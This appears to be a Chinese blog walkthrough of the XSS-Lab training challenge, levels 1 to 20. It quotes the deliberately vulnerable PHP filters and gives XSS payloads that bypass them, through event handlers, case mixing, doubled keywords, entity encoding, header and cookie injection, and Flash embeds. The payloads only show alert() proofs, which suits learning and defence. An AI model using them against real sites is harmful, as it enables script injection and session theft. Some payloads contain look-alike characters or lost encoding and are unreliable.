0
点赞
收藏
分享

微信扫一扫

XSS-Lab闯关笔记

XSS-Lab

  • level1
  • level2
  • level3
  • level4
  • level5
  • level6
  • level7
  • level8
  • level9
  • level10
  • level11
  • level12
  • level13
  • level14
  • level15
  • level16
  • level17
  • level18
  • level19
  • level20


level1

从源码中可以看到这里并没有对输入的name参数进行任何过滤就直接放入了<h2></h2>标签内

$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";

<script>alert('xss')</script>
<script>alert(/xss/)</script>
<script>alert(777)</script>

level2

XSS-Lab闯关笔记_html

$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword  value="'.$str.'">

输入的内容被插入到了页面的两个地方,<h1></h2>内的$str已经被htmlspecialchars()转义成html实体,所以可以闭合<input>内的value的值插入on事件触发xss或者闭合<input>标签

m0c1nu7"><script>alert('xss')</script>
m0c1nu7" onclick=alert('xss')//

javascript常见事件

事件

描述

onclick

鼠标点击html元素时执行

onload

加载对象完成时执行

onfocus

元素获得焦点时执行

onsubmit

表单提交时执行

onmousemove

鼠标光标在元素上移动时执行

onselect

当元素被选择时执行

onkeydown

按下键盘按键时执行

onchange

HTML 元素改变时执行

level3

XSS-Lab闯关笔记_html_02

$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword  value='".htmlspecialchars($str)."'>

输出点还是这两个,两个地方都是用了htmlspecialchars()转换html实体名称,但是htmlspecialchars()却对单引号'是没有作用的,因为单引号没有实体名称的,单引号只有实体编码/实体数字,而且这里的value=''使用单引号包裹的,所以闭合单引号,使用事件触发xss即可

' οnclick=alert('xss')//
1' onclick=alert(1)//

level4

XSS-Lab闯关笔记_HTTP_03

$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword  value="'.$str3.'">

过滤了尖括号<>,不能闭合标签,但是在标签内可以使用事件触发xss

" οnclick=alert("xss")//
" onclick=alert(7)//

level5

XSS-Lab闯关笔记_HTTP_04

$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword  value="'.$str3.'">

过滤了on事件、<script,标签内的事件触发不太可能了,尝试闭合标签,因为这里没有过滤<>,使用<a href=""></a>标签和javascript伪协议

test"><a href="javascript:alert(1);">click me</a>
test"><a href="javascript:alert('xss');">click me</a>
test"><a href="javascript:alert(/xss/);">click me</a>

level6

XSS-Lab闯关笔记_html_05

$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword  value="'.$str6.'">

对传入的值没有做大小写统一转换,可以使用大小写绕过过滤

" Onclick=alert(7)//
mochu"><ScRiPt>alert('xss')</sCrIpT>
mochu"><a HrEf="javascript:alert(/xss/)">click me</a>

level7

XSS-Lab闯关笔记_xss挑战_06

$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword  value="'.$str6.'">

过滤机制是替换为空,可以双写字符绕过

" oonnclick=alert("xss")//
mochu"><scrscriptipt>alert("xss")</scrscriptipt>
mochu"><a hrhrefef="javascrscriptipt:alert(/xss/)">click me</a>

level8

XSS-Lab闯关笔记_HTTP_07

$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
 echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
?>
<center><img src=level8.jpg></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>

$str输出点被htmlspecialchars()转换了,而且这里value=""是双引号包裹,双引号会被转化为实体名称,所以第一个输出点没法利用,第二个<a href=""></a>的输出点替换了很多关键字符,但是可以是使用html实体编码绕过

html实体编码在线:https://www.qqxiuzi.cn/bianma/zifushiti.php

javascript:alert('xss');

javascript:alert('xss');

level9

XSS-Lab闯关笔记_xss-lab_08

$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{
  echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
        }
else
{
  echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>
<center><img src=level9.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>

value=""的输出点无法利用,<a>标签的输出点使用html实体编码绕过,然后加上前提条件:在输入的字符中含有http://

javascript:alert('http://')

level10

XSS-Lab闯关笔记_php_09

$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level10.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>

在页面中看只有keyword这一个回显点,但是从源码中看还有个t_sort的GET传参,并且type="hedden"需要触发XSS还需要把这个type改成button

click me" οnclick=alert("xss") type="button"

level11

XSS-Lab闯关笔记_HTTP_10

$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level11.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>

keywordt_sort两个参数的输出点无法利用,从源码中看到有个请求头HTTP_REFERER插入到了页面中,并且过滤了尖括号<>,但是还是可以利用事件触发XSS

抓包,添加一个HTTP请求头的Referer:即可

Referer: click me" οnclick=alert("xss") type="button"

level12

XSS-Lab闯关笔记_xss-lab_11

$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ua"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level12.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>

三个可控制点,但是前两个都无法利用,请求头HTTP_USER_AGENT只过滤了尖括号<>就插入了页面中,抓包修改User-Agent:即可

User-Agent: click me" οnclick=alert("xss") type="button"

level13

XSS-Lab闯关笔记_php_12

$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_cook"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level13.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>

Cookie可被控制,并且插入到页面内

Cookie: user=click me" οnclick=alert("xss") type="button"

level14

XSS-Lab闯关笔记_xss挑战_13


exif xss这关无法复现

level15

XSS-Lab闯关笔记_php_14


这里的ng-includeangularjs的用法,相当于phpinclude,可以包含html(php)文件,所以调用其他关卡即可

src='level1.php?name=<img src="" οnerrοr="alert(/xss/)">'

level16

XSS-Lab闯关笔记_html_15

$str = strtolower($_GET["keyword"]);
$str2=str_replace("script"," ",$str);
$str3=str_replace(" "," ",$str2);
$str4=str_replace("/"," ",$str3);
$str5=str_replace("	"," ",$str4);
echo "<center>".$str5."</center>";
?>
<center><img src=level16.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str5)."</h3>";
?>

过滤了/script空格,输出位置在<center></center>中,双标签无法使用,使用单标签<img>,并且使用%0a%0d作为分隔符代替空格

<img%0asrc="mochu7"%0aonerror="alert(7)">

level17

XSS-Lab闯关笔记_php_16

echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";

输出点直接插在标签内,可以直接插入事件,但是双引号被转换实体名称,然后再测试的过程中发现,空格就可以直接分隔属性,在事件前面加个空格就可以把事件分隔出来

onmousemove=alert(7)

level18

XSS-Lab闯关笔记_xss-lab_17

echo "<embed src=xsf02.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";

和上一题一样

onmousemove=alert(7)

level19

XSS-Lab闯关笔记_xss挑战_18

echo '<embed src="xsf03.swf?'.htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"]).'" width=100% heigth=100%>';

flash xss 相关文章:
https://www.secpulse.com/archives/44299.htmlhttps://wizardforcel.gitbooks.io/xss-naxienian/content/14.html

?arg01=version&arg02=<a%20href="javascript:alert(7)">test</a>

level20

XSS-Lab闯关笔记_html_19

echo '<embed src="xsf03.swf?'.htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"]).'" width=100% heigth=100%>';

zeroclipboard xss相关文章:https://www.freebuf.com/sectool/108568.html

?arg01=id&arg02=\"))}catch(e){}if(!self.a)self.a=!alert(1)//%26width%26height


举报

相关推荐

0 条评论